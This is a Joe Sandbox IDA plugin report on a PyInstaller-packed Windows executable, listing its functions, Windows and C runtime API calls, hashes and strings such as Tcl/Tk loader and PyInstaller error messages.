Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0b4cb638391a236099e4bae21ca1bd1c0c2b34dec9e7b585c19fe73d18ad7533
Instruction ID: 5c1a7bf0497d2a83f09267cc013ebb437b8c133fb74623e05ff65e09e6b79e00
Opcode Fuzzy Hash: 0b4cb638391a236099e4bae21ca1bd1c0c2b34dec9e7b585c19fe73d18ad7533
Instruction Fuzzy Hash: C621CE32B3929247FA51BA9A74047BAE651BF45BC9FC84430EE0D0779ACE3CE542C310

Function 00007FF77B1FAE0C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1FAE92

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 36b0fbc90b3b462680d3b6a13c035726274d9c74de2b43bcb58660ea55cb43b3
Instruction ID: 50d229d7fd53f2866f58b20e8aa7cc70455c515fb427a94803d4af06f75ac405
Opcode Fuzzy Hash: 36b0fbc90b3b462680d3b6a13c035726274d9c74de2b43bcb58660ea55cb43b3
Instruction Fuzzy Hash: 34316133E39A4249E751BB59A45127CA660AB40B58F811135DB1D473FBCF7CB481C731

Function 00007FF77B1F87B9 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF77B1F87E7

Part of subcall function 00007FF77B1F88E0: GetModuleHandleExW.KERNEL32 ref: 00007FF77B1F8905
Part of subcall function 00007FF77B1F88E0: GetProcAddress.KERNEL32 ref: 00007FF77B1F891B
Part of subcall function 00007FF77B1F88E0: FreeLibrary.KERNEL32 ref: 00007FF77B1F8942

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: e9a7e304643df4a79f5f92f113a909c0855d61e5f1cd2648997e34e72053eb35
Instruction ID: e5bd763d85730ead76ebd4f3b5cd76e55390e455088b45e1cbf13367bd05308d
Opcode Fuzzy Hash: e9a7e304643df4a79f5f92f113a909c0855d61e5f1cd2648997e34e72053eb35
Instruction Fuzzy Hash: BE215C32E36605CDEB24AF68E4442AC72A0FB0471CFA4163AD71D16AE9DF38E544C7A0

Function 00007FF77B1F54C8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F542D

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction ID: be9e4d25db36b1f4ff796f8017dcf8f43b4a4761af402d9bcc192d5ff73ef04c
Opcode Fuzzy Hash: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction Fuzzy Hash: 91114F33E3E64189EA60BF59B411279E2A0AF85B88F844031EB4C576AEDF7CF541D721

Function 00007FF77B20575C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B20577F

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bc68aba4551d34184bb05bda2552568f64e358e9307c55527e30db01171bb599
Instruction ID: bf497d9c61a1995a9ded6cfc9f7f02f22ff99c06a37b54b689fa04ebbeb6e7ac
Opcode Fuzzy Hash: bc68aba4551d34184bb05bda2552568f64e358e9307c55527e30db01171bb599
Instruction Fuzzy Hash: 7C213D33A3964286DB61AF18E490369B6A0EB94B94FA44235EA5D876F9DF3CD440CB10

Function 00007FF77B1EF61C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1EF670

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction ID: 8868d4e5e3fe8d26df046153b029368d1aff48a67cc5821e1c08f373ff2b560b
Opcode Fuzzy Hash: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction Fuzzy Hash: 10015632A3474242EA04BB9A6901469E795AB45FE8FC84631DE5C577FEDF3CE5018710

Function 00007FF77B1E7330 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: de2adb1bf489c698f757e3417ae5e0a26a5c09157b409e8aff6e044788b7f808
Instruction ID: a9bbde8dda7b79a93d48f5c56e9c57748439c68ce785cdffa824435c1209d522
Opcode Fuzzy Hash: de2adb1bf489c698f757e3417ae5e0a26a5c09157b409e8aff6e044788b7f808
Instruction Fuzzy Hash: 7C419C27D397C542F611AB68A5012FCB360FB95749F859232DF8D42167EF28E1C8C320

Function 00007FF77B1FDD40 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF77B1FA8B6,?,?,?,00007FF77B1F9A73,?,?,00000000,00007FF77B1F9D0E), ref: 00007FF77B1FDD95

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 2e0f3e4b2c9ccc38d96cb592f5054ed38be707e8bf6a1ab6843b3be497aa41a7
Instruction ID: 98efb5d605317eba42f2497b7b2f38a6a4ae4893f57047814fe586ab86b434a9
Opcode Fuzzy Hash: 2e0f3e4b2c9ccc38d96cb592f5054ed38be707e8bf6a1ab6843b3be497aa41a7
Instruction Fuzzy Hash: 80F04F76B3B20249FE95766A65113B582945F89B88FC85530CA0DC62FADD1CF482C231

Function 00007FF77B1FCACC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF77B1EFE44,?,?,?,00007FF77B1F1356,?,?,?,?,?,00007FF77B1F2949), ref: 00007FF77B1FCB0A

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c69b2b415516246c39874758743c65376e97b2ba2b88f646b423658d781f7dfd
Instruction ID: d51a503e6afda2a255e4d5644cddf487ab0e6340d4f06feb2b80425bacee085e
Opcode Fuzzy Hash: c69b2b415516246c39874758743c65376e97b2ba2b88f646b423658d781f7dfd
Instruction Fuzzy Hash: 72F05437F3B24349FE54777964006B591804F847E4F880B30DE2D962EAED2CB480D130

Non-executed Functions

Function 00007FF77B1E55D0 Relevance: 166.5, APIs: 31, Strings: 64, Instructions: 287libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77B1E71B0: LoadLibraryExW.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E71D3

GetProcAddress.KERNEL32 ref: 00007FF77B1E5F67
GetProcAddress.KERNEL32 ref: 00007FF77B1E5FA6
GetProcAddress.KERNEL32 ref: 00007FF77B1E5FCB
GetProcAddress.KERNEL32 ref: 00007FF77B1E5FF0
GetProcAddress.KERNEL32 ref: 00007FF77B1E6018
GetProcAddress.KERNEL32 ref: 00007FF77B1E6040
GetProcAddress.KERNEL32 ref: 00007FF77B1E6068
GetProcAddress.KERNEL32 ref: 00007FF77B1E6090
GetProcAddress.KERNEL32 ref: 00007FF77B1E60B8

Strings

Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF77B1E61BA
Tcl_MutexUnlock, xrefs: 00007FF77B1E60FE
Failed to get address for Tcl_MutexLock, xrefs: 00007FF77B1E60F2
Tcl_EvalObjv, xrefs: 00007FF77B1E637E
Tcl_FinalizeThread, xrefs: 00007FF77B1E6036
Failed to get address for Tcl_EvalEx, xrefs: 00007FF77B1E6372
Tcl_CreateObjCommand, xrefs: 00007FF77B1E623E
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF77B1E643A
Tcl_Alloc, xrefs: 00007FF77B1E63A6
Failed to get address for Tcl_CreateThread, xrefs: 00007FF77B1E60A2
Tcl_EvalEx, xrefs: 00007FF77B1E6356
LOADER: Failed to load tcl/tk libraries, xrefs: 00007FF77B1E561A
Failed to get address for Tcl_Finalize, xrefs: 00007FF77B1E602A
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF77B1E5FB8
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF77B1E611A
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF77B1E6002
Tcl_Init, xrefs: 00007FF77B1E5F60
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF77B1E6052
Tk_Init, xrefs: 00007FF77B1E63F6
Tcl_MutexLock, xrefs: 00007FF77B1E60D6
Tcl_EvalFile, xrefs: 00007FF77B1E632E
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF77B1E61E2
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF77B1E62FA
Tcl_FindExecutable, xrefs: 00007FF77B1E5FC1
Tcl_SetVar2, xrefs: 00007FF77B1E6216
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF77B1E6192
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF77B1E6142
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF77B1E607A
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF77B1E5FDD
Failed to get address for Tcl_GetVar2, xrefs: 00007FF77B1E620A
Tcl_GetVar2, xrefs: 00007FF77B1E61EE
Tcl_DeleteInterp, xrefs: 00007FF77B1E605E
Tcl_NewStringObj, xrefs: 00007FF77B1E628E
Tcl_CreateThread, xrefs: 00007FF77B1E6086
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF77B1E6322
Tcl_DoOneEvent, xrefs: 00007FF77B1E5FE6
Failed to get address for Tk_Init, xrefs: 00007FF77B1E6412
Failed to get address for Tcl_EvalFile, xrefs: 00007FF77B1E634A
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF77B1E62AA
GetProcAddress, xrefs: 00007FF77B1E5F80
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF77B1E639A
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF77B1E616A
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF77B1E60CA
Tk_GetNumMainWindows, xrefs: 00007FF77B1E641E
Tcl_ConditionWait, xrefs: 00007FF77B1E6176
Tcl_ThreadQueueEvent, xrefs: 00007FF77B1E619E
Tcl_GetCurrentThread, xrefs: 00007FF77B1E60AE
Tcl_GetObjResult, xrefs: 00007FF77B1E6306
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF77B1E625A
Tcl_ConditionNotify, xrefs: 00007FF77B1E614E
Failed to get address for Tcl_Free, xrefs: 00007FF77B1E63EA
Tcl_Free, xrefs: 00007FF77B1E63CE
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF77B1E62D2
Failed to get address for Tcl_Alloc, xrefs: 00007FF77B1E63C2
Tcl_GetString, xrefs: 00007FF77B1E6266
Tcl_SetVar2Ex, xrefs: 00007FF77B1E62DE
Failed to get address for Tcl_Init, xrefs: 00007FF77B1E5F79
Tcl_Finalize, xrefs: 00007FF77B1E600E
Tcl_ThreadAlert, xrefs: 00007FF77B1E61C6
Failed to get address for Tcl_SetVar2, xrefs: 00007FF77B1E6232
Tcl_ConditionFinalize, xrefs: 00007FF77B1E6126
Failed to get address for Tcl_GetString, xrefs: 00007FF77B1E6282
Tcl_NewByteArrayObj, xrefs: 00007FF77B1E62B6
Tcl_CreateInterp, xrefs: 00007FF77B1E5F9C

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$LOADER: Failed to load tcl/tk libraries$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 2238633743-1453502826
Opcode ID: ba523ba2b13c4ea14ee618d69630f35f7ff64aa3d65f3ca8e14aa07d75cb9247
Instruction ID: 53fc4b1506944542b87e9a926155465ae834fd6d3427f39f980e876b759cd16a
Opcode Fuzzy Hash: ba523ba2b13c4ea14ee618d69630f35f7ff64aa3d65f3ca8e14aa07d75cb9247
Instruction Fuzzy Hash: 62E186B6A3FB0391EA95FB4CB850174E3AAAF45795BD45035C80E466BCEF7CA5488330

Function 00007FF77B1E1B90 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF77B1E1BDE
MulDiv.KERNEL32 ref: 00007FF77B1E1BF2
MulDiv.KERNEL32 ref: 00007FF77B1E1C13
SystemParametersInfoW.USER32 ref: 00007FF77B1E1C5B
CreateFontIndirectW.GDI32 ref: 00007FF77B1E1C6F
#380.COMCTL32 ref: 00007FF77B1E1C93
CreateWindowExW.USER32 ref: 00007FF77B1E1CE6
CreateWindowExW.USER32 ref: 00007FF77B1E1D40
CreateWindowExW.USER32 ref: 00007FF77B1E1D9D
CreateWindowExW.USER32 ref: 00007FF77B1E1DFF
SendMessageW.USER32 ref: 00007FF77B1E1E1F
SendMessageW.USER32 ref: 00007FF77B1E1E39
SendMessageW.USER32 ref: 00007FF77B1E1E58
SendMessageW.USER32 ref: 00007FF77B1E1E77
SendMessageW.USER32 ref: 00007FF77B1E1E95
SendMessageW.USER32 ref: 00007FF77B1E1EB3
SendMessageW.USER32 ref: 00007FF77B1E1ED1
SendMessageW.USER32 ref: 00007FF77B1E1EE9
SendMessageW.USER32 ref: 00007FF77B1E1F01
GetClientRect.USER32 ref: 00007FF77B1E1F10

Part of subcall function 00007FF77B1E2030: GetDC.USER32 ref: 00007FF77B1E205B
Part of subcall function 00007FF77B1E2030: SelectObject.GDI32 ref: 00007FF77B1E20A2
Part of subcall function 00007FF77B1E2030: DrawTextW.USER32 ref: 00007FF77B1E20C5
Part of subcall function 00007FF77B1E2030: SelectObject.GDI32 ref: 00007FF77B1E20DB
Part of subcall function 00007FF77B1E2030: ReleaseDC.USER32 ref: 00007FF77B1E20EB
Part of subcall function 00007FF77B1E2030: MoveWindow.USER32 ref: 00007FF77B1E213B
Part of subcall function 00007FF77B1E2030: MoveWindow.USER32 ref: 00007FF77B1E217B
Part of subcall function 00007FF77B1E2030: MoveWindow.USER32 ref: 00007FF77B1E21CE

Strings

Close, xrefs: 00007FF77B1E1DA8
Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF77B1E1BBD
STATIC, xrefs: 00007FF77B1E1C9C, 00007FF77B1E1CF1
BUTTON, xrefs: 00007FF77B1E1DB6
EDIT, xrefs: 00007FF77B1E1D4B

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 47b3578659853d453a5822a751c8e2f63cfdf798862dd1eeebf7592aa26dc86d
Instruction ID: 09be364c1349c85ff98d74e1c7b34b95547d0f1cab5da3cb24e5733002be9f9e
Opcode Fuzzy Hash: 47b3578659853d453a5822a751c8e2f63cfdf798862dd1eeebf7592aa26dc86d
Instruction Fuzzy Hash: 7AA17937229B8183E7549F25E54479AB370F789B84F904129EB8D03B28CF7DE1A5CB60

Function 00007FF77B2031CC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF77B20321A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B203886
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B2039FC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B203CBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B203EDA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B204117
memcpy_s.LIBCPMT ref: 00007FF77B2041F2
memcpy_s.LIBCPMT ref: 00007FF77B20429D
memcpy_s.LIBCPMT ref: 00007FF77B20436C

Strings

1#IND, xrefs: 00007FF77B203307
1#QNAN, xrefs: 00007FF77B203333
1#SNAN, xrefs: 00007FF77B20332A
1#INF, xrefs: 00007FF77B203343

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 46fb5d0366b8e1e712cdd684d815614daf2c7cda5b16cac76ba58e706ef79b66
Instruction ID: 3fdf247234626af8b754c05f32d9a124d94024389727ea99fea365edc369eadd
Opcode Fuzzy Hash: 46fb5d0366b8e1e712cdd684d815614daf2c7cda5b16cac76ba58e706ef79b66
Instruction Fuzzy Hash: F3B2C173E3D2828BE7259F68D5407F9B7A1FB58388F805135DA1D57AACDB38A900CB50

Function 00007FF77B1E74B0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF77B1E26A0), ref: 00007FF77B1E74D7
FormatMessageW.KERNEL32(00000000,00007FF77B1E26A0), ref: 00007FF77B1E7506
WideCharToMultiByte.KERNEL32 ref: 00007FF77B1E755C

Part of subcall function 00007FF77B1E2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF77B1E7744,?,?,?,?,?,?,?,?,?,?,?,00007FF77B1E101D), ref: 00007FF77B1E2654
Part of subcall function 00007FF77B1E2620: MessageBoxW.USER32 ref: 00007FF77B1E272C

Strings

FormatMessageW, xrefs: 00007FF77B1E7517
PyInstaller: FormatMessageW failed., xrefs: 00007FF77B1E7523
No error messages generated., xrefs: 00007FF77B1E7510
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF77B1E7579
WideCharToMultiByte, xrefs: 00007FF77B1E756D
Failed to encode wchar_t as UTF-8., xrefs: 00007FF77B1E7566

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
